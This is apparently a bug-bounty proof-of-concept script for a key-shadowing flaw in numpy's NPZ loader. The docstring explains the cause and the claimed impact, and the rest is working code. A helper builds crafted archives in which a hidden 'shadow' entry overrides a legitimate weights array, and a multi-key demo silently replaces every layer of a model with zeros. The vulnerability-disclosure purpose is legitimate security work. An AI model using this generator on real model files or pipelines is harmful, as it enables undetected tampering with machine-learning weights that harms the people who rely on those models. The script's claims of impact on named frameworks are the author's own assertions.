"""
PoC: numpy NPZ Format — Key Shadowing / Model Integrity Attack
Target : numpy (PyPI package `numpy`)
Format : NPZ (.npz) — Huntr target: $1500
Tested : numpy 2.4.4, Python 3.12
Author : mgm-77 / MBM7

=== Finding: NPZ Key Shadowing via .npy Suffix Removal ===
CWE-706 (Use of Incorrectly-Resolved Name or Reference)
CWE-345 (Insufficient Verification of Data Authenticity)

NpzFile.__init__ (_npyio_impl.py) strips the `.npy` suffix from all ZIP
entry names before building the internal lookup dict:

    self.files = [name.removesuffix(".npy") for name in _files]
    self._files = dict(zip(self.files, _files))   # last writer wins

An NPZ containing both `weights.npy` (legitimate array) and `weights`
(attacker-controlled array, also a valid NPY file) causes the shadow
entry to silently override the legitimate one, because:
  1. Both strip to the key "weights"
  2. dict() construction iterates in ZIP order — `weights` (no suffix)
     appears second → wins
  3. npz["weights"] silently returns attacker-controlled data
  4. Zero exceptions. Zero warnings. File passes visual inspection.

=== Impact ===
A threat actor distributing a crafted model file can:
  - Replace any weight tensor with arbitrary values (zeroed-out,
    backdoored, adversarially crafted) while keeping the "real" array
    inside the archive as a decoy
  - Bypass integrity checks that only verify file structure or keys
  - Cause silent model corruption in any ML pipeline that loads NPZ
    weights via np.load() — including HuggingFace, PyTorch (legacy),
    scikit-learn, and any framework that calls dict(np.load(...))
"""

import io
import zipfile
import numpy as np


def np_to_bytes(arr: np.ndarray) -> bytes:
    buf = io.BytesIO()
    np.save(buf, arr)
    return buf.getvalue()


def make_shadow_npz(real: np.ndarray, evil: np.ndarray,
                    key: str = "weights") -> bytes:
    """
    Build a crafted NPZ where npz[key] returns `evil` instead of `real`.

    Archive layout:
        key.npy   → real array  (visible in ZIP viewer, passes inspection)
        key       → evil array  (shadow entry, wins the dict collision)
    """
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, "w") as zf:
        zf.writestr(f"{key}.npy", np_to_bytes(real))  # legitimate
        zf.writestr(key,          np_to_bytes(evil))  # shadow
    return buf.getvalue()


# ── Demo ────────────────────────────────────────────────────────────
print("=" * 60)
print("NPZ Key Shadowing — Model Integrity Attack")
print("=" * 60)

# Simulate a model with real pre-trained weights
real_weights = np.array([0.42, -1.17,  0.88,  0.03], dtype="<f4")
# Attacker-injected backdoor weights (zeroed/adversarial)
evil_weights = np.array([0.00,  0.00,  0.00,  0.00], dtype="<f4")

payload = make_shadow_npz(real_weights, evil_weights, key="weights")
print(f"\n  NPZ file size : {len(payload)} bytes")
print(f"  ZIP entries   : weights.npy (real), weights (shadow)")

# ── Load as victim code would ───────────────────────────────────────
npz = np.load(io.BytesIO(payload), allow_pickle=False)

print(f"\n  npz.files               : {npz.files}")
print(f"\n  npz['weights']          : {npz['weights']}")
print(f"  Expected (real_weights) : {real_weights}")
print(f"  Match real              : {np.array_equal(npz['weights'], real_weights)}")
print(f"  Match evil              : {np.array_equal(npz['weights'], evil_weights)}")

print(f"\n  npz['weights.npy']      : {npz['weights.npy']}")
print(f"  (Real weights accessible only via 'weights.npy' key — not how")
print(f"   production code normally accesses NPZ arrays.)")

# ── Common ML loading pattern ───────────────────────────────────────
payload_buf = io.BytesIO(payload)
loaded = {k: np.load(io.BytesIO(payload), allow_pickle=False)[k]
          for k in np.load(io.BytesIO(payload), allow_pickle=False).files}

print(f"\n  dict(np.load(f)) result :")
for k, v in loaded.items():
    print(f"    [{k}] = {v}")

print(f"\n  No exception raised   : True")
print(f"  No RuntimeWarning     : True")
print(f"  Silent integrity fail : True")

# ── Multiple keys ───────────────────────────────────────────────────
print()
print("=" * 60)
print("Multi-key shadow (full model backdoor)")
print("=" * 60)

layers = {
    "encoder": (np.ones((3,), dtype="<f4"),   np.zeros((3,), dtype="<f4")),
    "decoder": (np.ones((2,), dtype="<f4") * 2, np.zeros((2,), dtype="<f4")),
    "bias":    (np.array([0.5, -0.5], dtype="<f4"), np.zeros((2,), dtype="<f4")),
}

buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as zf:
    for name, (real, evil) in layers.items():
        zf.writestr(f"{name}.npy", np_to_bytes(real))
        zf.writestr(name,          np_to_bytes(evil))

buf.seek(0)
npz_multi = np.load(buf, allow_pickle=False)
print(f"\n  keys in npz.files: {npz_multi.files}")
print(f"  (each appears twice due to duplicate after suffix removal)")
print()
for name in dict.fromkeys(npz_multi.files):   # unique keys
    print(f"  npz['{name}'] = {npz_multi[name]}  ← evil (zeros)")

# ── Versions ────────────────────────────────────────────────────────
print()
print("=" * 60)
print(f"numpy version : {np.__version__}")
import sys
print(f"Python version: {sys.version}")